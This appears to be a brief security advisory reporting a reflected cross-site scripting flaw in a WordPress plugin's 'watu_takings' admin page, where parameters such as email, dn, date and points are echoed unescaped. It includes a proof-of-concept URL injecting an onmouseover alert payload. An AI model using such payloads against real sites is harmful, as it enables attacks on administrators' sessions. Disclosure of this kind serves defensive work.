The plugin does not sanitise and escape some parameters ((such as email, dn, date and points) before outputting then back in a page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
https://example.com/wp-admin/admin.php?page=watu_takings&exam;_id=1&dn;="%2Fonmouseover%3Dalert(/XSS/)%2F%2F